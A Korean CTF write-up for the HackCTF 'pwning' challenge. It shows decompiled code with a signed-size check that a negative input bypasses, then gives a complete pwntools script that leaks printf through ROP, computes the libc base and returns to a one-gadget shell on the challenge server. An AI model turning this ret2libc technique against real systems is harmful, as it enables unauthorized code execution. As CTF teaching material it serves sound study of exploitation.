[HackCTF]pwning
그냥 underflow 이용해서 입력할 수 있는 공간을 늘려줄 수 있다면 쉽게 풀 수 있다.
int $0x80
있어서 syscall exploit인줄 알고 삽질했다.. pop 가젯이 부족해서 불가능이였다.
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(&nptr, 4u);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(&nptr, v2);
return printf("You said: %s\n", &nptr);
}
get_n
함수는 그냥 \n 받기전까지 입력된다. 그리고 v2가 int형이라 underoverflow를 이용해서 값을 늘려줄 수 있다.
나는 printf를 릭해주고 libc 구한 후에 main으로 돌려서 맞는 libc의 원샷 가젯 찾아서 메인에서 리턴해줬다.
원샷은 libc 다운로드 받아서 one_gadget 돌렸다. libc는 버전 맞춰서 printf offset 구한다음에 libc base 구해줬다.
from pwn import *
#context.log_level = 'debug'
e = ELF('./pwning')
p = remote('ctf.j0n9hyun.xyz',3019)
#p = process('./pwning')
r = ROP(e)
p.sendlineafter('? ',str(-1))
payload = '\x90'*0x2c
payload += 'sung'
r.printf(e.got['printf'])
r.raw(e.symbols['main'])
payload += r.chain()
p.sendlineafter('!\n',payload)
p.recvuntil('\n')
printf = u32(p.recv(4))
log.info('printf : '+ hex(printf))
libc_base = printf - 0x049020
log.info('libc_base : ' + hex(libc_base))
p.sendlineafter('? ',str(-1))
payload2 = '\x90'*0x2c
payload2 += 'sung'
payload2 += p32(libc_base + 0x3a80c)
p.sendlineafter('!\n',payload2)
p.interactive()